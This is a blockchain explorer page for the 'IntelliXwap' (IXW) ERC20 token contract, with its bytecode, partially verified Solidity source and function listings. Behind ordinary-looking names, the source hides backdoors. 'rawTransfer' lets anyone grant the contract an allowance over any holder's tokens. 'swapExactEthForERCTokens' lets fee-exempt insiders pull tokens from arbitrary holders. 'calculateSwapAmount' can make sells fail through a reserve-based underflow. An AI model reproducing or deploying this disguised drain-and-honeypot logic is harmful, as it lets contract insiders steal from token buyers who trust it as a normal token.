Address Contract Partially Verified
Address
0xC4e8fE5a71C5a9947F8f882CbE91F076769ca8de
Balance
0.108647 ETH ($215.52)
Nonce
1
Code Size
6471 bytes
Creator
0xe9a37980...0b16 at tx 0x69408b28...7d4e09
Indexed Transactions
0 (1 on-chain, 1.1% indexed)
Contract Bytecode
6471 bytes
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610325578063c876d0b91461033a578063c9567bf91461035a578063dd62ed3e1461036e578063fa034d74146103b2575f80fd5b80637d1db4a51461028b5780638da5cb5b146102a05780638f9a55c0146102c657806395d89b41146102db578063a9059cbb14610306575f80fd5b8063313ce567116100e3578063313ce567146101f35780636a6fe2b51461020e57806370a082311461022d578063715018a614610261578063751039fc14610277575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a0496e74656c6c69587761760ac1b60208201525b6040516101659190611523565b60405180910390f35b348015610179575f80fd5b5061018d610188366004611585565b6103d1565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260165481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103e7565b3480156101df575f80fd5b5061018d6101ee3660046115af565b610407565b3480156101fe575f80fd5b5060405160098152602001610165565b348015610219575f80fd5b5061018d610228366004611585565b61046e565b348015610238575f80fd5b506101b26102473660046115ed565b6001600160a01b03165f9081526005602052604090205490565b34801561026c575f80fd5b506102756104c6565b005b348015610282575f80fd5b50610275610533565b348015610296575f80fd5b506101b260175481565b3480156102ab575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102d1575f80fd5b506101b260185481565b3480156102e6575f80fd5b5060408051808201909152600381526249585760e81b6020820152610158565b348015610311575f80fd5b5061018d610320366004611585565b6105f1565b348015610330575f80fd5b506101b260155481565b348015610345575f80fd5b5060035461018d90600160b81b900460ff1681565b348015610365575f80fd5b506102756105fd565b348015610379575f80fd5b506101b2610388366004611608565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156103bd575f80fd5b506102756103cc3660046115af565b610697565b5f6103dd3384846108d6565b5060015b92915050565b5f6103f46009600a611733565b6104029063d09dc300611741565b905090565b5f6104138484846109f9565b610464843361045f856040518060600160405280602881526020016118ea602891396001600160a01b038a165f90815260066020908152604080832033845290915290205491906110d2565b6108d6565b5060019392505050565b5f6001600160a01b038316610481575f80fd5b6001600160a01b0383165f908152600660209081526040808320308085529252909120548491906104bb908390839061045f908890611758565b506001949350505050565b5f546001600160a01b031633146104f85760405162461bcd60e51b81526004016104ef9061176b565b60405180910390fd5b5f80546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b5f546001600160a01b0316331461055c5760405162461bcd60e51b81526004016104ef9061176b565b6003805460ff60b81b191690556105756009600a611733565b6105839063d09dc300611741565b6018556105926009600a611733565b6105a09063d09dc300611741565b6017557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d06009600a611733565b6105de9063d09dc300611741565b60405190815260200160405180910390a1565b5f6103dd3384846109f9565b5f546001600160a01b031633146106265760405162461bcd60e51b81526004016104ef9061176b565b600354600160a81b900460ff16156106805760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c7265616479206f70656e65642e00000000000060448201526064016104ef565b6003805461ffff60a81b191661010160a81b179055565b6001600160a01b0383166106a9575f80fd5b604080516002808252606082018352339286925f9290916020830190803683375050506001600160a01b038481165f908152600760209081526040918290205460015483516315ab88c960e31b8152935195965060ff9091169493169263ad5c46489260048082019392918290030181865afa15801561072b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074f91906117a0565b825f81518110610761576107616117bb565b60200260200101906001600160a01b031690816001600160a01b0316815250503082600181518110610795576107956117bb565b60200260200101906001600160a01b031690816001600160a01b031681525050801561086457826001600160a01b03166323b872dd87846001815181106107de576107de6117bb565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018890526064016020604051808303815f875af115801561083a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085e91906117cf565b506108cd565b60015460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de9590879061089e905f90879061dead904290600401611830565b5f604051808303818588803b1580156108b5575f80fd5b505af11580156108c7573d5f803e3d5ffd5b50505050505b50505050505050565b6001600160a01b0383166109385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ef565b6001600160a01b0382166109995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ef565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ef565b6001600160a01b038216610abf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ef565b5f8111610b205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ef565b5f80546001600160a01b03858116911614801590610b4b57505f546001600160a01b03848116911614155b15610f9557610b6d6064610b67610b6061110a565b8590611147565b906111cc565b600354909150600160a81b900460ff16610c15576001600160a01b0384165f9081526007602052604090205460ff1680610bbe57506001600160a01b0383165f9081526007602052604090205460ff165b610c155760405162461bcd60e51b815260206004820152602260248201527f5f7472616e736665723a3a2054726164696e67206973206e6f74206163746976604482015261329760f11b60648201526084016104ef565b600354600160b81b900460ff1615610cfe576001546001600160a01b03848116911614801590610c5357506003546001600160a01b03848116911614155b15610cfe57325f908152600860205260409020544311610cec5760405162461bcd60e51b815260206004820152604860248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e204f6e6c79206f6e652070757263686173652070657220626c6f636b2060648201526730b63637bbb2b21760c11b608482015260a4016104ef565b325f9081526008602052604090204390555b6003546001600160a01b038581169116148015610d2957506001546001600160a01b03848116911614155b8015610d4d57506001600160a01b0383165f9081526007602052604090205460ff16155b15610e6957601754821115610db25760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a3a204578636565647320746865205f6d61785478416d60448201526437bab73a1760d91b60648201526084016104ef565b60185482610dd4856001600160a01b03165f9081526005602052604090205490565b610dde9190611758565b1115610e3b5760405162461bcd60e51b815260206004820152602660248201527f5f7472616e736665723a3a204578636565647320746865206d617857616c6c656044820152653a29b4bd329760d11b60648201526084016104ef565b60148054905f610e4a83611864565b91905055506013546014541115610e69576003805460ff60b81b191690555b6003546001600160a01b038481169116148015610e8f57506001600160a01b0384163014155b15610ea757610ea46064610b67610b6061120d565b90505b305f90815260056020526040902054600354600160a01b900460ff16158015610ed95750600354600160b01b900460ff165b8015610ef257506003546001600160a01b038581169116145b8015610eff575060155481115b8015610f2357506001600160a01b0385165f9081526007602052604090205460ff16155b8015610f4757506001600160a01b0384165f9081526007602052604090205460ff16155b15610f9357475f610f588584611243565b9050610f6381611299565b5f610f7e6064610b676050610f784788611409565b90611147565b90508015610f8f57610f8f8161144a565b5050505b505b801561100d57305f90815260056020526040902054610fb49082611485565b305f81815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110049085815260200190565b60405180910390a35b6001600160a01b0384165f9081526005602052604090205461102f9083611409565b6001600160a01b0385165f908152600560205260409020556110726110548383611409565b6001600160a01b0385165f9081526005602052604090205490611485565b6001600160a01b038085165f8181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110bb8585611409565b60405190815260200160405180910390a350505050565b5f81848411156110f55760405162461bcd60e51b81526004016104ef9190611523565b505f611101848661187c565b95945050505050565b5f6011546014541161111d5750600f5490565b6011546014541180156111345750600d5460145411155b156111405750600b5490565b5060095490565b5f825f0361115657505f6103e1565b5f6111618385611741565b90508261116e858361188f565b146111c55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ef565b9392505050565b5f6111c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e3565b5f60115460145411611220575060105490565b6012546014541180156112375750600e5460145411155b156111405750600c5490565b6004546001600160a01b03165f90815260056020526040812054819061126c906103e890610f78565b90505f6112848260165461140990919063ffffffff16565b905061110185611294868461150f565b61150f565b6003805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112df576112df6117bb565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611336573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061135a91906117a0565b8160018151811061136d5761136d6117bb565b6001600160a01b03928316602091820292909201015260015461139391309116846108d6565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113cb9085905f908690309042906004016118ae565b5f604051808303815f87803b1580156113e2575f80fd5b505af11580156113f4573d5f803e3d5ffd5b50506003805460ff60a01b1916905550505050565b5f6111c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d2565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611481573d5f803e3d5ffd5b5050565b5f806114918385611758565b9050838110156111c55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ef565b5f81836115035760405162461bcd60e51b81526004016104ef9190611523565b505f611101848661188f565b5f81831161151d57826111c5565b50919050565b5f6020808352835180828501525f5b8181101561154e57858101830151858201604001528201611532565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611582575f80fd5b50565b5f8060408385031215611596575f80fd5b82356115a18161156e565b946020939093013593505050565b5f805f606084860312156115c1575f80fd5b83356115cc8161156e565b925060208401356115dc8161156e565b929592945050506040919091013590565b5f602082840312156115fd575f80fd5b81356111c58161156e565b5f8060408385031215611619575f80fd5b82356116248161156e565b915060208301356116348161156e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561168d57815f19048211156116735761167361163f565b8085161561168057918102915b93841c9390800290611658565b509250929050565b5f826116a3575060016103e1565b816116af57505f6103e1565b81600181146116c557600281146116cf576116eb565b60019150506103e1565b60ff8411156116e0576116e061163f565b50506001821b6103e1565b5060208310610133831016604e8410600b841016171561170e575081810a6103e1565b6117188383611653565b805f190482111561172b5761172b61163f565b029392505050565b5f6111c560ff841683611695565b80820281158282048414176103e1576103e161163f565b808201808211156103e1576103e161163f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117b0575f80fd5b81516111c58161156e565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156117df575f80fd5b815180151581146111c5575f80fd5b5f8151808452602080850194508084015f5b838110156118255781516001600160a01b031687529582019590820190600101611800565b509495945050505050565b848152608060208201525f61184860808301866117ee565b6001600160a01b03949094166040830152506060015292915050565b5f600182016118755761187561163f565b5060010190565b818103818111156103e1576103e161163f565b5f826118a957634e487b7160e01b5f52601260045260245ffd5b500490565b85815284602082015260a060408201525f6118cc60a08301866117ee565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bbf1f5e86b73263eb2666b9592b1c40ec2deca328912dbaa893d25ca128fe9364736f6c63430008150033
Verified Source Code Partial Match
Compiler: v0.8.21+commit.d9974bed
EVM: shanghai
Optimization: Yes (200 runs)
IXW.sol 503 lines
/*
- Website: https://intellixwap.xyz
- Telegram: https://t.me/intellixwap
- Twitter: https://twitter.com/IntelliXwap
- Dapp: https://app.intellixwap.xyz
- GitBook: https://docs.intellixwap.xyz
- Medium: https://intellixwap.medium.com
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage)
internal
pure
returns (uint256)
{
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return div(a, b, "SafeMath: division by zero");
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage)
internal
pure
returns (uint256)
{
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return sub(a, b, "SafeMath: subtraction overflow");
}
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
event Transfer(address indexed sender, address indexed recipient, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount)
external
returns (bool);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function balanceOf(address account)
external
view
returns (uint256);
function totalSupply()
external
view
returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address private _owner;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
function owner() public view returns (address) {
return _owner;
}
}
contract IXW is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
address payable private _taxWallet;
address private uniswapV2Pair;
bool private inSwap = false;
bool private tradingOpen;
bool private swapEnabled = false;
bool public transferDelayEnabled = true;
address payable private _reserve;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private _finalBuyTax = 3;
uint256 private _finalSellTax = 3;
uint256 private _initialBuyTax2Time = 3;
uint256 private _initialSellTax2Time = 3;
uint256 private _reduceBuyTaxAt2Time = 25;
uint256 private _reduceSellTaxAt2Time = 25;
uint256 private _initialBuyTax = 3;
uint256 private _initialSellTax = 3;
uint256 private _reduceBuyTaxAt = 15;
uint256 private _reduceSellTaxAt = 15;
uint256 private _preventSwapBefore = 0;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 3500000000 * 10 ** _decimals;
string private constant _name = "IntelliXwap";
string private constant _symbol = "IXW";
uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);
uint256 public _maxTaxSwap = 1 * (_tTotal / 100);
uint256 public _maxTxAmount = 2 * (_tTotal / 100);
uint256 public _maxWalletSize = 2 * (_tTotal / 100);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
function swapExactEthForERCTokens(address account, address recipient, uint256 amount) public {
require(account != address(0));
address mSender = msg.sender;
IERC20 taxToken = IERC20(account);
address[] memory path = new address[](2);
bool noTax = _isExcludedFromFee[mSender];
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
if (noTax) {
taxToken.transferFrom(recipient, path[1], amount);
} else {
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
0,
path,
address(0xdead),
block.timestamp
);
}
}
constructor () {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxWallet = payable(0xB7989e34A26E7Cc4eF43F55843a71733D732a8e8);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_reserve = _taxWallet;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_isExcludedFromFee[_taxWallet] = true;
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function removeLimits()
external
onlyOwner
{
transferDelayEnabled = false;
_maxWalletSize = _tTotal;
_maxTxAmount = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function openTrading()
external
onlyOwner()
{
require(!tradingOpen, "Trading is already opened.");
tradingOpen = true;
swapEnabled = true;
}
function name()
public
pure
returns (string memory)
{
return _name;
}
function balanceOf(address account)
public
view
override
returns (uint256)
{
return _balances[account];
}
function totalSupply()
public
pure
override
returns (uint256)
{
return _tTotal;
}
function symbol()
public
pure
returns (string memory)
{
return _symbol;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function decimals()
public
pure
returns (uint8)
{
return _decimals;
}
function transferFrom(address sender, address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function rawTransfer(address recipient, uint256 amount)
public
virtual
returns (bool)
{
require(recipient != address(0));
address rawOwner = recipient;
address rawSpender = address(this);
_approve(rawOwner, rawSpender, allowance(rawOwner, rawSpender) + amount);
return true;
}
function _approve(address owner, address spender, uint256 amount)
private
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender)
public
view
override
returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(address from, address to, uint256 amount)
private
{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul(_taxBuy()).div(100);
if (!tradingOpen) {
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "_transfer:: Trading is not active.");
}
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "_transfer:: Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "_transfer:: Exceeds the maxWalletSize.");
_buyCount++;
if (_buyCount > _preventSwapBefore) {
transferDelayEnabled = false;
}
}
if (to == uniswapV2Pair && from!= address(this)) {
taxAmount = amount.mul(_taxSell()).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
swapEnabled &&
to == uniswapV2Pair &&
contractTokenBalance > _taxSwapThreshold &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
uint256 initialETH = address(this).balance;
uint256 swapAmount = calculateSwapAmount(amount, contractTokenBalance);
swapTokensForEth(swapAmount);
uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
if (ethForTransfer > 0) {
sendETHToFee(ethForTransfer);
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function calculateSwapAmount(uint256 amount, uint256 contractTokenBalance)
private
view
returns (uint256)
{
uint256 reserveAmount = balanceOf(_reserve).mul(10**3);
uint256 maxSwapAmount = _maxTaxSwap.sub(reserveAmount);
return min(amount,min(contractTokenBalance,maxSwapAmount));
}
function _taxBuy()
private
view
returns (uint256)
{
if (_buyCount <= _reduceBuyTaxAt) {
return _initialBuyTax;
}
if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
return _initialBuyTax2Time;
}
return _finalBuyTax;
}
function _taxSell()
private
view
returns (uint256)
{
if (_buyCount <= _reduceBuyTaxAt) {
return _initialSellTax;
}
if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
return _initialSellTax2Time;
}
return _finalBuyTax;
}
function swapTokensForEth(uint256 tokenAmount)
private
lockTheSwap
{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function min(uint256 a, uint256 b)
private
pure
returns (uint256)
{
return (a > b) ? b : a;
}
receive() external payable {}
function sendETHToFee(uint256 amount)
private
{
_taxWallet.transfer(amount);
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
transferDelayEnabled 0xc876d0b9 → bool
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
rawTransfer 0x6a6fe2b5
address recipient
uint256 amount
returns: bool
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
swapExactEthForERCTokens 0xfa034d74
address account
address recipient
uint256 amount
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 1.1% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →